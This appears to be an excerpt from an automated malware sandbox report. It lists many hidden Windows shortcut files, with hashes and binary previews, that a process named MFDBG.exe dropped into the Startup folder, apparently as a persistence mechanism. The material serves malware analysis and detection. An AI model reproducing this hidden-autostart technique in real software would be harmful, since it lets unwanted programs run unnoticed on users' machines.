File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921731626074535
Encrypted:	false
SSDEEP:	24:8dc3BfMN8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dEUaEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AC7DE78EC4DDD8541151B0D9AD7C4926
SHA1:	E038317382B197A63996289A1A6B110ADC693E70
SHA-256:	D704C53C518C4CC71F8C9D6C6C137D8C53A24CF11290793C61C7E8282AC35841
SHA-512:	9553EDCBF3A325795C1FC51C15D0F91CF6D6C43AB4D12B139F6B1157B3537AC35E05488A1D21DB0B9927C930063EC5DDEAFC90D048699CB2DA069AD6C8A677B4
Malicious:	false
Preview:	L..................F....".......d....}..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...'k.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d11772abf56f4d40937e6f0d0ed6aa4e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920202694362192
Encrypted:	false
SSDEEP:	24:8rBfA8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ddEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1A3134BE104CC394049591BC656DB9EA
SHA1:	71AF2A452AAD459388B344653F7013C089F663EA
SHA-256:	C0AD8214D5AB73EBEDC4D860BA2728209E02FD53C4D4DACF2D5C1032F67DDBDE
SHA-512:	F6593FF0FEE7B63F19EFBB580519DDCCFFCEEFA9D1381CB7E21E78538223F6403CE917859EAEAF51073E4D359C99A94D38CDC4B517189894A6464F98D8B04283
Malicious:	false
Preview:	L..................F....".......d....9..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...n...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d16e7767b8eb4f00a8f4d02a25225145.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925216570618479
Encrypted:	false
SSDEEP:	24:8lBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8nQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D3320E48B4E55F36CCFC135BA3051629
SHA1:	1EF0F340DC806E43E606865F36F4BC465A78DD78
SHA-256:	13E1F7C7AB55F8C5971B642387F68420C80732ECDC909933A81C6E8FC749B8D2
SHA-512:	8082D0E592467916C2EB119503DD1A09D8DD7E343BC23AB1A1F46A07F8FC07BBD018BEBC4CEF1A2BE7BDF8C58970F842989E6A64150559F3E1664EBD3F66A0C1
Malicious:	false
Preview:	L..................F....".......d...$".[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d19f0520d104456b8957290f449092a8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923827679585127
Encrypted:	false
SSDEEP:	24:8jBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8llEvZ0yRO7DLO2zdxdRd1kyg
MD5:	258CD7EF33C24EB053B0ED05C14B12DB
SHA1:	E92EB4CBD0B6DCC1DB2932F38FDCC4045614604A
SHA-256:	0F3E182D2CCBCACF6416C393B09A8E02371634576D8A7EEDEDAEC273878C2F32
SHA-512:	B57D387FBA7AF874E0BAF2B256C95A251FB6F27E197E86BE541CC93885E9163D495D696FB76CE09A0E695BFF8EDD3E50E3F4FAE4FAFF36CF8FD76792C61DAC16
Malicious:	false
Preview:	L..................F....".......d......=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1.=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d1b713c1cb734b1cbcf1bf616fef5d7d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922337099178707
Encrypted:	false
SSDEEP:	24:8qTBf88EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F511C0365060211333352424D19B111B
SHA1:	9E517033B1E7D6FFED04F042F01760D1830C87DF
SHA-256:	DB627D2449D0782CA44857CB85FAE8B51F6C2B51773DCB5A0F22C5514FA2C8B6
SHA-512:	A83DFB28DA8A93EA0C166FD4FA5B3A0C56A979073B2FDABE40B0AC4076EB457197AEF60159951EB64D6779DE0895B98B8D4520B6AEE2246C451463E485B69A55
Malicious:	false
Preview:	L..................F....".......d.....4<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....4<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d22e19e6daf4499a99e1ce2d7f6ad58d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92037383358237
Encrypted:	false
SSDEEP:	24:8WQBfO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WerEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B0C3611F918D99B265086D3A35C1006D
SHA1:	0B86DF213FCCF595C8995012E683717DB73E07B3
SHA-256:	32CC54EFC0237028B32EB10C484E79F40DDCC6B37F56CA1D6DCEA371C0004D19
SHA-512:	259279E59C9CF7D47508D046F516A4F891FFB313CD09CFD465BF46A0BECCDD0DF10ACB5C4A0BD9BCDE8B60E8C916996CA78E470B9B94EBA8C580114D22CA7B2F
Malicious:	false
Preview:	L..................F....".......d....:.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....a.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d23023bf2d6c4e4fab1fd21da1cbf7a0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.911952708140511
Encrypted:	false
SSDEEP:	24:8QBfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eUJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	67364B83131E8FCB3F9BB962D115D93A
SHA1:	E0EFD6206B066EBB21D644FA7E3684580E0ED47C
SHA-256:	DC053E94019A6B75B143ACF13385F73A6D61ABD8AE5D2344FEA3D637ACDFEC47
SHA-512:	3E6A1FC37435729C2EBF2E3D1515FA72C4705254CA2A262A550D6B034A4514251D41A198B53B29BD18FF24D62E8FDF8ABBE86D9D4046B86780EB6E3F4A8C1238
Malicious:	false
Preview:	L..................F....".......d...=..\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d24ea315e05d4f7c8b1a9dc726826917.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926890697957589
Encrypted:	false
SSDEEP:	24:8+2Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5AEF62FAA19F18F65A9B044530B7E8FE
SHA1:	C73C18B5A81994186B14E2F45121C5C7E098E81B
SHA-256:	4D20E4AE671FEC24E807C5C71FB8662764CE741C7BF753F85C1677701C7333E8
SHA-512:	721309DB4865A3D871013CD7EB20FBE0FB64D9BCA0EDB5A9760887218C707660A5E9260BFCE97B29141E1F82A764E0DFB9013B9CC10BD76F55BB53567FE8EC61
Malicious:	false
Preview:	L..................F....".......d...:..&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d3515252f24d45c6ba8060c8a0f6dcee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917176812036308
Encrypted:	false
SSDEEP:	24:82Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88hEvZ0yRO7DLO2zdxdRd1kyg
MD5:	449330EEC7997FDEA56653692C6E0144
SHA1:	02A7C733A2FCCBC769102C280679049804233158
SHA-256:	0B718B885CA3409A45B830AAFA6B2B8869AFC18E0BA794157A4C2770288D68CB
SHA-512:	371BD101C9CB770737172BD88B3C59C75C78D325FCF7142227FD034E6895A16E442899D8368C674C247C0DB0997A5265765BA2B428D1FA539D7CC129F616370D
Malicious:	false
Preview:	L..................F....".......d....a.Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d366692687804ad8a85db70662bfb2d7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924872641521066
Encrypted:	false
SSDEEP:	24:8kBfEX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	637007EF89F71143F1103D824D96AAA8
SHA1:	C7573AAD8FB42639493D553B9B6CF573B4E4CD9A
SHA-256:	FFCA260C0D3CAA6915B0738F503B154D9AFE907B7110C1228AC11A7981D79351
SHA-512:	BB32098595E2BB73DB464511EAE166DEBC56E0BFA0EF5AC4CF45C6DE1D1C255F3DD9435C6D3B776B66AD15CF5D33416881E72E9CD917452FBA778C6E665A4CDC
Malicious:	false
Preview:	L..................F....".......d.....}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d3a62b5995a341baa7304236f7429b3e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928740799693367
Encrypted:	false
SSDEEP:	24:8tBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	672F0B0119846DD6726938A1B67F81D8
SHA1:	EF56DC0395D5912A4371C667B0B72837362F7F84
SHA-256:	8F46056E59E73CB535A109F4C314F19C73DD5FE8C025CC721033A18BACBB52EE
SHA-512:	0FCBFBCA9084B6ECC6589E7A2708A86FFDB3DAC07CDFA691447F7B2284F1E7BC77649C10ED4921FA40B78D18EED8FF6FC9BAC999C84402C258EC056354CF099A
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d3c649f6de2c401789fcb37232195770.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927265405824903
Encrypted:	false
SSDEEP:	24:8UBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86aQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B91CBDF823E87C9E827E57853F1601D1
SHA1:	C74B1F63443797AA34BD155D4A2FA46BF258B6C4
SHA-256:	AF2EC80336EF5ED1B50A9037A7E7AD71D9FA6438BE66655493E75ABC535AAC45
SHA-512:	E5565A638098DA87DEEFFDAD8B143435494EFD20B2947FA35625B72DD7468791E37ABB57494C9393FA5C137AD0E32900A8CC28F4BC22E45C8438A0E355EB1EFD
Malicious:	false
Preview:	L..................F....".......d...!.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d440493b3dce4ded809ab54706b6134e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924406275870862
Encrypted:	false
SSDEEP:	24:84BfC8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82nEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EF54264E337F784BAC3598BDE16EBC66
SHA1:	C19A4BEFD0875183C1468CBCCC340343D6748D95
SHA-256:	B839EC1076C83A35DFCB65E33C256F72707C599AC5179BEA5E9EF473DE9D539A
SHA-512:	F5BA795B07EE7DD592BD92B4881070DE39241A00FC9AF642DC1F3620C513E881FD65D764A54442ADACC9BF6B18D03ADF716957BB7B9443C48ED75F7BF81A9FA6
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4a72249031d4f969e1e6be20b01f78d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
